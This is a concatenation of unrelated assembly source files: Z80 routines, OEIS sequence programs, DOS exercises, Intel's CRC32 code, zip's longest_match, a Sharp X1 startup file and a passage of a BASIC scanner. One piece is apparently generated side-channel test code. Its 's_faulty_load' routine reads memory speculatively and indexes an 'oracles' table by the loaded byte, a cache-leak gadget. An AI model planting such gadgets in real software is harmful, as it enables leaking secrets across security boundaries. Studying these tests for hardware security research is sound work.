ld a,(hl)
ld l,a
rlca
sbc a,a
ld h,a
ret
|
; A204558: Row sums of the triangle A045975.
; 1,6,45,120,325,630,1225,2016,3321,4950,7381,10296,14365,19110,25425,32640,41905,52326,65341,79800,97461,116886,140185,165600,195625,228150,266085,306936,354061,404550,462241,523776,593505,667590,750925,839160,937765
mov $1,$0
pow $0,2
mul $1,2
add $1,$0
gcd $0,2
add $1,$0
bin $1,2
mov $0,$1
|
; void *p_list_insert_after(p_list_t *list, void *list_item, void *item)
SECTION code_adt_p_list
PUBLIC asm_p_list_insert_after_callee
p_list_insert_after_callee:
pop af
pop de
pop hl
pop bc
push af
INCLUDE "adt/p_list/z80/asm_p_list_insert_after.asm"
|
; 8086 assembly file
; by:czfshine
; date: 2018/03/31 16:29:15
;编写程序,从键盘接收一个小写字母,然后找出它的前导字符和后续字符,再按顺序显示这三个字符。
; The Main Data segment
DATA SEGMENT
DATA ENDS
;entry code segment
CODE SEGMENT
ASSUME CS:CODE ,DS:DATA
START: ;entry point
MOV AX,DATA
MOV DS,AX
MOV AH,01H
INT 21H
DEC AL
MOV DL,AL
MOV AH,02H
INT 21H
INC AL
MOV DL,AL
MOV AH,02H
INT 21H
INC AL
MOV DL,AL
MOV AH,02H
INT 21H
MOV AH,4CH ;return
INT 21H
CODE ENDS
END START |
; A127590: Numbers n such that 16n+5 is prime.
; Submitted by Jon Maiga
; 0,2,3,6,9,11,12,14,17,18,23,24,26,38,41,42,44,47,48,51,53,62,63,66,68,69,77,81,86,89,93,101,102,104,108,116,117,123,128,129,138,143,144,146,147,149,152,159,167,168,171,174,177,182,191,194,201,203,206,213,216,221,222,227,231,233,237,242,249,251,258,264,266,272,273,276,282,284,287,299,308,317,324,327,333,336,338,342,347,348,353,354,356,357,359,363,366,377,378,381
mov $1,4
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,16
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mul $1,2
mov $0,$1
sub $0,40
div $0,32
|
;;
;; Copyright (c) 2020, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "include/os.asm"
%include "include/reg_sizes.asm"
%include "include/crc32_const.inc"
%include "include/clear_regs.asm"
[bits 64]
default rel
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%define arg3 rdx
%define arg4 rcx
%else
%define arg1 rcx
%define arg2 rdx
%define arg3 r8
%define arg4 r9
%endif
struc STACK_FRAME
_xmm_save: resq 8 * 2
_rsp_save: resq 1
endstruc
section .text
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; arg1 - buffer pointer
;; arg2 - buffer size in bytes
;; Returns CRC value through RAX
align 32
MKGLOBAL(crc32_sctp_avx, function,)
crc32_sctp_avx:
%ifdef SAFE_PARAM
or arg1, arg1
jz .wrong_param
%endif
%ifndef LINUX
mov rax, rsp
sub rsp, STACK_FRAME_size
and rsp, -16
mov [rsp + _rsp_save], rax
vmovdqa [rsp + _xmm_save + 16*0], xmm6
vmovdqa [rsp + _xmm_save + 16*1], xmm7
vmovdqa [rsp + _xmm_save + 16*2], xmm8
vmovdqa [rsp + _xmm_save + 16*3], xmm9
vmovdqa [rsp + _xmm_save + 16*4], xmm10
vmovdqa [rsp + _xmm_save + 16*5], xmm11
vmovdqa [rsp + _xmm_save + 16*6], xmm12
vmovdqa [rsp + _xmm_save + 16*7], xmm13
%endif
lea arg4, [rel crc32_sctp_const]
mov arg3, arg2
mov arg2, arg1
xor DWORD(arg1), DWORD(arg1)
call crc32_by8_avx
%ifdef SAFE_DATA
clear_scratch_xmms_avx_asm
%endif
%ifndef LINUX
vmovdqa xmm6, [rsp + _xmm_save + 16*0]
vmovdqa xmm7, [rsp + _xmm_save + 16*1]
vmovdqa xmm8, [rsp + _xmm_save + 16*2]
vmovdqa xmm9, [rsp + _xmm_save + 16*3]
vmovdqa xmm10, [rsp + _xmm_save + 16*4]
vmovdqa xmm11, [rsp + _xmm_save + 16*5]
vmovdqa xmm12, [rsp + _xmm_save + 16*6]
vmovdqa xmm13, [rsp + _xmm_save + 16*7]
mov rsp, [rsp + _rsp_save]
%endif
.wrong_param:
ret
%ifdef LINUX
section .note.GNU-stack noalloc noexec nowrite progbits
%endif
|
;
; Copyright (C) 1990-1992 Mark Adler, Richard B. Wales, and Jean-loup Gailly.
; Permission is granted to any individual or institution to use, copy, or
; redistribute this software so long as all of the original files are included
; unmodified, that it is not sold for profit, and that this copyright notice
; is retained.
;
; match.asm by Jean-loup Gailly.
; match.asm, optimized version of longest_match() in deflate.c
; Must be assembled with masm -ml. To be used only with C large model.
; (For compact model, follow the instructions given below.)
; This file is only optional. If you don't have masm or tasm, use the
; C version (add -DNO_ASM to CFLAGS in makefile.msc and remove match.obj
; from OBJI). If you have reduced WSIZE in zip.h, then change its value
; below.
;
; Turbo C 2.0 does not support static allocation of more than 64K bytes per
; file, and does not have SS == DS. So TC and BC++ users must use:
; tasm -ml -DDYN_ALLOC -DSS_NEQ_DS match;
;
; To simplify the code, the option -DDYN_ALLOC is supported for OS/2
; only if the arrays are guaranteed to have zero offset (allocated by
; halloc). We also require SS==DS. This is satisfied for MSC but not Turbo C.
name match
; define LCODE as follows:
; model: compact large (small and medium not supported here)
; LCODE 0 1
LCODE equ 1
; Better define them on the command line
;DYN_ALLOC equ 1
;SS_NEQ_DS equ 1
; For Turbo C, define SS_NEQ_DS as 1, but for MSC you can leave it undefined.
; The code is a little better when SS_NEQ_DS is not defined.
ifndef DYN_ALLOC
extrn _prev : word
extrn _slide : byte
prev equ _prev ; offset part
slide equ _slide
endif
_DATA segment word public 'DATA'
extrn _match_start : word
extrn _prev_length : word
extrn _good_match : word
extrn _strstart : word
extrn _max_chain_length : word
ifdef DYN_ALLOC
extrn _prev : word
extrn _slide : word
prev equ 0 ; offset forced to zero
slide equ 0
slide_seg equ _slide[2]
slide_off equ 0
else
wseg dw seg _slide
slide_seg equ wseg
slide_off equ offset _slide
endif
_DATA ends
DGROUP group _DATA
if LCODE
extrn _exit : far
else
extrn _exit : near
endif
_TEXT segment word public 'CODE'
assume cs: _TEXT, ds: DGROUP
public _match_init
public _longest_match
MIN_MATCH equ 3
MAX_MATCH equ 258
WSIZE equ 8192 ; keep in sync with zip.h !
WMASK equ (WSIZE-1)
MIN_LOOKAHEAD equ (MAX_MATCH+MIN_MATCH+1)
MAX_DIST equ (WSIZE-MIN_LOOKAHEAD)
prev_ptr dw seg _prev ; pointer to the prev array
ifdef SS_NEQ_DS
match_start dw 0 ; copy of _match_start if SS != DS
endif
; initialize or check the variables used in match.asm.
if LCODE
_match_init proc far
else
_match_init proc near
endif
ifdef SS_NEQ_DS
ma_start equ cs:match_start ; does not work on OS/2
else
assume ss: DGROUP
ma_start equ ss:_match_start
mov ax,ds
mov bx,ss
cmp ax,bx ; SS == DS?
jne error
endif
ifdef DYN_ALLOC
mov ax,_slide[0] ; force zero offset
add ax,15
mov cx,4
shr ax,cl
add _slide[2],ax
mov _slide[0],0
mov ax,_prev[0] ; force zero offset
add ax,15
mov cx,4
shr ax,cl
add _prev[2],ax
mov _prev[0],0
ifdef SS_NEQ_DS
mov ax,_prev[2] ; segment value
mov cs:prev_ptr,ax ; ugly write to code, crash on OS/2
prev_seg equ cs:prev_ptr
else
prev_seg equ ss:_prev[2] ; works on OS/2 if SS == DS
endif
else
prev_seg equ cs:prev_ptr
endif
ret
error: call _exit
_match_init endp
; -----------------------------------------------------------------------
; Set match_start to the longest match starting at the given string and
; return its length. Matches shorter or equal to prev_length are discarded,
; in which case the result is equal to prev_length and match_start is
; garbage.
; IN assertions: cur_match is the head of the hash chain for the current
; string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1
; int longest_match(cur_match)
if LCODE
_longest_match proc far
else
_longest_match proc near
endif
push bp
mov bp,sp
push di
push si
push ds
if LCODE
cur_match equ word ptr [bp+6]
else
cur_match equ word ptr [bp+4]
endif
; slide equ es:slide (es:0 for DYN_ALLOC)
; prev equ ds:prev
; match equ es:si
; scan equ es:di
; chain_length equ bp
; best_len equ bx
; limit equ dx
mov si,cur_match ; use bp before it is destroyed
mov bp,_max_chain_length ; chain_length = max_chain_length
mov di,_strstart
mov dx,di
sub dx,MAX_DIST ; limit = strstart-MAX_DIST
jae limit_ok
sub dx,dx ; limit = NIL
limit_ok:
add di,2+slide_off ; di = offset(slide + strstart + 2)
mov bx,_prev_length ; best_len = prev_length
mov es,slide_seg
mov ax,es:[bx+di-3] ; ax = scan[best_len-1..best_len]
mov cx,es:[di-2] ; cx = scan[0..1]
cmp bx,_good_match ; do we have a good match already?
mov ds,prev_seg ; (does not destroy the flags)
assume ds: nothing
jb do_scan ; good match?
shr bp,1 ; chain_length >>= 2
shr bp,1
jmp short do_scan
even ; align destination of branch
long_loop:
; at this point, ds:di == scan+2, ds:si == cur_match
mov ax,[bx+di-3] ; ax = scan[best_len-1..best_len]
mov cx,[di-2] ; cx = scan[0..1]
mov ds,prev_seg ; reset ds to address the prev array
short_loop:
dec bp ; --chain_length
jz the_end
; at this point, di == scan+2, si = cur_match,
; ax = scan[best_len-1..best_len] and cx = scan[0..1]
if (WSIZE-32768)
and si,WMASK
endif
shl si,1 ; cur_match as word index
mov si,prev[si] ; cur_match = prev[cur_match]
cmp si,dx ; cur_match <= limit ?
jbe the_end
do_scan:
cmp ax,word ptr es:slide[bx+si-1] ; check match at best_len-1
jne short_loop
cmp cx,word ptr es:slide[si] ; check min_match_length match
jne short_loop
lea si,slide[si+2] ; si = match
mov ax,di ; ax = scan+2
mov cx,es
mov ds,cx ; ds = es = slide
mov cx,(MAX_MATCH-2)/2 ; scan for at most MAX_MATCH bytes
repe cmpsw ; loop until mismatch
je maxmatch ; match of length MAX_MATCH?
mismatch:
mov cl,[di-2] ; mismatch on first or second byte?
sub cl,[si-2] ; cl = 0 if first bytes equal
xchg ax,di ; di = scan+2, ax = end of scan
sub ax,di ; ax = len
sub si,ax ; si = cur_match + 2 + offset(slide)
sub si,2+slide_off ; si = cur_match
sub cl,1 ; set carry if cl == 0 (can't use DEC)
adc ax,0 ; ax = carry ? len+1 : len
cmp ax,bx ; len > best_len ?
jle long_loop
mov ma_start,si ; match_start = cur_match
mov bx,ax ; bx = best_len = len
cmp ax,MAX_MATCH ; len >= MAX_MATCH ?
jl long_loop
the_end:
pop ds
assume ds: DGROUP
ifdef SS_NEQ_DS
mov ax,ma_start ; garbage if no match found
mov ds:_match_start,ax
endif
pop si
pop di
pop bp
mov ax,bx ; result = ax = best_len
ret
maxmatch: ; come here if maximum match
cmpsb ; increment si and di
jmp mismatch ; force match_length = MAX_LENGTH
_longest_match endp
_TEXT ends
end
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x83d1, %r11
nop
nop
nop
and $61405, %rdi
movw $0x6162, (%r11)
nop
add $43272, %r15
lea addresses_WT_ht+0x8721, %rax
nop
nop
nop
nop
nop
sub $62162, %rdx
vmovups (%rax), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rsi
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_D_ht+0xf3f1, %rax
nop
nop
nop
dec %rdi
mov $0x6162636465666768, %rsi
movq %rsi, (%rax)
cmp %r15, %r15
lea addresses_normal_ht+0x1e5d1, %rdi
nop
inc %rax
mov (%rdi), %rdx
nop
nop
nop
nop
add %r15, %r15
lea addresses_WC_ht+0x13851, %rdi
nop
nop
nop
nop
nop
xor %r11, %r11
movb (%rdi), %dl
dec %r11
lea addresses_WC_ht+0x1fd1, %rsi
lea addresses_WC_ht+0x1e811, %rdi
add %rax, %rax
mov $65, %rcx
rep movsb
xor $28840, %rax
lea addresses_UC_ht+0xccf3, %rsi
lea addresses_UC_ht+0x10c3d, %rdi
nop
nop
nop
sub %r12, %r12
mov $108, %rcx
rep movsb
nop
nop
nop
nop
nop
xor $23309, %rcx
lea addresses_D_ht+0x9d1, %r11
nop
xor %rsi, %rsi
movw $0x6162, (%r11)
nop
nop
nop
nop
xor $57065, %rsi
lea addresses_UC_ht+0xa1f9, %rdx
nop
nop
nop
nop
nop
inc %rax
movw $0x6162, (%rdx)
cmp $34150, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r15
push %rbx
push %rcx
push %rdi
// Faulty Load
lea addresses_PSE+0x14dd1, %rcx
nop
nop
nop
nop
nop
sub $47574, %r11
movups (%rcx), %xmm6
vpextrq $0, %xmm6, %r15
lea oracles, %rcx
and $0xff, %r15
shlq $12, %r15
mov (%rcx,%r15,1), %r15
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}}
{'33': 19707}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
.MODEL SMALL
.STACK 100H
.DATA
CR EQU 0DH
LF EQU 0AH
MAJOR DB '?'
MINOR DB '?'
MSG DB 'GET DOS VERSION:INT 21H FUNCTION 3OH',CR,LF,'MS-DOS Version ,'$'
MSG1 DB CR,LF,'MAJOR VERSION NUMBER IS :$'
MSG2 DB CR,LF,'MINOR VERSION NUMBER IS :$'
.CODE
MAIN PROC
;initialization
MOV AX,@DATA
MOV DS,AX
;get dos version
MOV AH,30H
INT 21H
MOV MAJOR,AL
MOV MINOR ,AH
;display results
LEA DX,MSG
MOV AH,9h
INT 21H
LEA DX,MSG1
MOV AH,9h
INT 21H
XOR AX,AX
MOV AL,MAJOR
CALL OUTDEC
LEA DX,MSG2
MOV AH,9h
INT 21H
XOR AX,AX
MOV AL,MINOR
CALL OUTDEC
;return to dos
MOV AH,4CH
INT 21H
MAIN ENDP
Include DES_NUM.asm
END MAIN |
; CRT0 for the Sharp X1
;
; Karl Von Dyson (for X1s.org)
;
; $Id: x1_crt0.asm,v 1.17 2016-07-20 05:45:02 stefano Exp $
;
MODULE x1_crt0
;
; Initially include the zcc_opt.def file to find out lots of lovely
; information about what we should do..
;
defc crt0 = 1
INCLUDE "zcc_opt.def"
;--------
; Some scope definitions
;--------
EXTERN _main
EXTERN _x1_printf
PUBLIC cleanup
PUBLIC l_dcal
PUBLIC _wait_sub_cpu
;--------
; Non-zero origins must be >=32768 (startup=2 must be used for this)
;--------
IF !DEFINED_CRT_ORG_CODE
IF (startup=2)
defc CRT_ORG_CODE = 32768
defc TAR__register_sp = 0xFDFF
ELSE
defc CRT_ORG_CODE = 0
defc TAR__register_sp = 65535
ENDIF
ENDIF
defc CONSOLE_COLUMNS = 40
defc CONSOLE_ROWS = 25
defc TAR__no_ansifont = 1
defc TAR__clib_exit_stack_size = 32
defc __CPU_CLOCK = 4000000
INCLUDE "crt/classic/crt_rules.inc"
org CRT_ORG_CODE
;--------
; Execution starts here
;--------
start:
di
IF (!DEFINED_startup | (startup=1))
if (CRT_ORG_CODE > 0)
defs ZORG_NOT_ZERO
endif
INCLUDE "crt/classic/crt_init_sp.asm"
im 1
ei
ENDIF
IF (startup=2)
if (CRT_ORG_CODE < 32768)
defs ZORG_TOO_LOW
endif
INCLUDE "crt/classic/crt_init_sp.asm"
; re-activate IPL
ld bc,$1D00
xor a
out (c),a
ld hl,$FE00
push hl
EXTERN im2_Init
call im2_Init
pop hl
EXTERN im2_EmptyISR
ld hl,im2_EmptyISR
ld b,128
isr_table_fill:
ld ($FE00),hl
inc hl
inc hl
djnz isr_table_fill
ld hl,_kbd_isr
ld ($FE52),hl
im 2
ei
ENDIF
call _wait_sub_cpu
ld bc, $1900
ld a, $E4 ; Interrupt vector set
out (c), a
call _wait_sub_cpu
ld bc, $1900
ld a, $52 ;
out (c), a
;IF !DEFINED_x1_no_clrscr
; EXTERN _x1_cls
; call _x1_cls
;ENDIF
INCLUDE "crt/classic/crt_init_atexit.asm"
call crt0_init_bss
; INIT math identify platform
; Optional definition for auto MALLOC init
; it assumes we have free space between the end of
; the compiled program and the stack pointer
IF DEFINED_USING_amalloc
ld hl,0
add hl,sp
INCLUDE "crt/classic/crt_init_amalloc.asm"
ENDIF
call _main
cleanup:
IF CRT_ENABLE_STDIO = 1
EXTERN closeall
call closeall
ENDIF
push hl ; return code
rst 0
cleanup_exit:
ret
IF (!DEFINED_startup | (startup=1))
defs 56-cleanup_exit-1
if (ASMPC<>$0038)
defs CODE_ALIGNMENT_ERROR
endif
ENDIF
; -------------------------------------------
; Don't move the following block !
; It must be aligned when startup=1 !!
_kbd_isr:
push af
push bc
;push de
push hl
ld bc, $1A01
.iiki1 in a, (c)
and $20
jr nz, iiki1
ld bc, $1900
in a, (c)
ld hl, _x1_keyboard_io+1
ld (hl), a
dec hl
ld bc, $1A01
.iiki2 in a, (c)
and $20
jr nz, iiki2
ld bc, $1900
in a, (c)
ld (hl), a
pop hl
;pop de
pop bc
pop af
ei
reti
; -------------------------------------------
l_dcal:
jp (hl)
_wait_sub_cpu:
ld bc, $1A01
.ii_w1 in a, (c)
bit 6, a
jp nz, ii_w1
ret
IF !DEFINED_ansicolumns
defc DEFINED_ansicolumns = 1
defc ansicolumns = 40
ENDIF
INCLUDE "crt/classic/crt_runtime_selection.asm"
INCLUDE "crt/classic/crt_section.asm"
SECTION code_crt_init
ld hl,$FDFF
ld (exitsp),hl
; X1 stdio support variables
SECTION bss_crt
PUBLIC _x1_cursor_coords
PUBLIC _x1_keyboard_io
_x1_cursor_coords: defw 0
_x1_keyboard_io: defw 0
|
page 49,132
TITLE ssdeclare - scan support for declarative statement opcodes
;***
;ssdeclare - scan support for declarative statement opcodes
;
; Copyright <C> 1986, Microsoft Corporation
;
;Purpose:
;
; These routines scan DIM, COMMON, VtRf, AVtRf, and provide additional
; external support for COMMON.
;
; COMMON utilizes a value table, where the actual values are stored,
; and a type table, which describes what's in the value table. (In
; the case of arrays, the array descriptor is in the value table.)
;
; Each entry in the value table is rounded up to the next whole word
; in size if it needs an odd number of bytes. This can only happen
; when fixed-length strings are involved, either as simples or in
; records.
;
; The basic entry in the type table is the oType of its corresponding
; element in the value table. Types and values are linked only by their
; order in the tables. For arrays, the oType is preceded by a word
; with bit 14 set, and the count of dimensions in its low byte. For
; records, the oType is followed by the oMRS that defines the type.
;
; Arrays are always assumed to have 8 dimensions for purposes of
; allocating space in the value table for the array descriptor. The
; actual number of dimensions is kept for type checking, not space
; allocation.
;
; When chaining, information about user types is lost. To still
; provide some type checking, the type table entry is modified.
; The oMRS field for the record type is changed to contain the
; record length. Bit 13 of the oType is set to indicate this was
; done. Type checking consists of verifying the records are of
; of the same length. The oType itself is no longer used.
;
;
;****************************************************************************
.xlist
include version.inc
SSDECLARE_ASM = ON
IncludeOnce context
IncludeOnce executor
IncludeOnce optables
IncludeOnce pcode
IncludeOnce qbimsgs
IncludeOnce ssint
IncludeOnce txtmgr
IncludeOnce variable
.list
extrn B$ISdUpd:far
extrn B$IAdUpd:far
extrn B$STDL:far
extrn B$IErase:far
assumes es,nothing
assumes ds,DATA
assumes ss,DATA
assumes cs,SCAN
sBegin DATA
globalW pSsCOMcur,0 ;normally zero; when we're growing
; COMMON bdTyp and bdValue tables, this
; contains a pointer to where those
; tables can be found on the stack.
; This is necessary for bkptr updating
; in case the value table moves.
sEnd DATA
sBegin SCAN
;These flags are used in the high bits of oTyp in a COMMON block type table
cDimsFlag= 40H ;This word has cDims in low byte, not oTyp
LengthFlag= 20H ;Next word is length of record
StaticFlag= 1 ;$STATIC array in COMMON
;***
;Ss_StCommon - Scan the COMMON statement
;
;Purpose:
;
; Creates a stack frame with COMMON information. This frame is removed
; by SsBos.
;
; The frame includes the owners of the COMMON block's type and value
; tables, as well as indexes into those tables. The change of owners
; is needed so they don't move as the the tables grow.
;
;***********************************************************************
SsProc StCommon,rude
mov [SsOTxPatchBos],di ; Patch this with next Bos address
STOSWTX ;Emit executor
test [SsExecFlag],OPA_fExecute ;Already seen executable stmt?
jz @F
mov ax,MSG_COM ;COMMON must precede executable stmts
call SsError
@@:
MOVSWTX ;Skip over oTx operand
LODSWTX ;Get oNam
STOSWTX ;Emit it
push ax
call MakeCommon
inc ax ;Out of memory?
jz OME
dec ax
or [SsBosFlags],SSBOSF_StCommon ;Set flag for VtRf
;Make stack frame with COMMON info
push bp
push ax ; Place holder for COM_cbFixed
push ax ;Save oCommon
add ax,[grs.GRS_bdtComBlk.BD_pb] ;oCommon --> pCommon
add ax,SsCom+SsComSize ;Get to end of structure
xchg bx,ax ;pCommon.bdType to bx
mov cx,SsComSize/2 ;Word size of structure
@@:
dec bx
dec bx
push [bx] ;Copy word to stack
loop @B ;Repeat
mov bp,sp ;bp is low byte of COM structure
mov [pSsCOMcur],sp ;see module header for explanation
;Assign owners
.errnz SsCom - COM_bdType
push bx ;Current owner
push bp ;New owner
;If COMMON in user library, Value field is not an owner
add bx,COM_bdValue - COM_bdType
cmp [bx].BD_cbPhysical,UNDEFINED ;User Library?
jz CopyTypOwner ;yes, skip value field
push bx ;Current owner
lea bx,[bp-COM_bdType].COM_bdValue
push bx ;New owner
call BdChgOwner ;Copy BD to stack
CopyTypOwner:
call BdChgOwner
jmp CommonX
OME:
mov ax,ER_OM
call SsError
or [SsBosFlags],SSBOSF_StStatic ;Set flag for no work in VtRf
jmp CommonX
subttl Ss_AVtRf and Ss_VtRf
page
;***
;Ss_AVtRf - Scan AVtRf variants array Id opcodes
;
;Purpose:
;
; Scan the id variants opAVtRf<type>.
;
; The statements STATIC, SHARED, COMMON, and DIM all use AVtRf opcodes.
;
; Arrays are $STATIC or $DYNAMIC based on the first reference to
; the array. Variables in determining the array type are:
; - Statement. The first reference may be in any of the following
; statements: STATIC, SHARED, COMMON, DIM, REDIM, ERASE, PUT, GET
; or <implicit ref> (indicating any other legal location for an array
; reference).
; - $STATIC and $DYNAMIC metacommand. The default is $STATIC. This
; default may be changed by using the $STATIC and $DYNAMIC metacommands.
;
; The table below shows what kind of array ($STATIC/$DYNAMIC) is created
; or what error is reported by the BASCOM 2.0 compiler. The <implicit>
; case has been added for completeness - it does not use an AVtRf opcode.
;
; Statement of First Ref $STATIC $DYNAMIC
; -----------------------------------------------------------
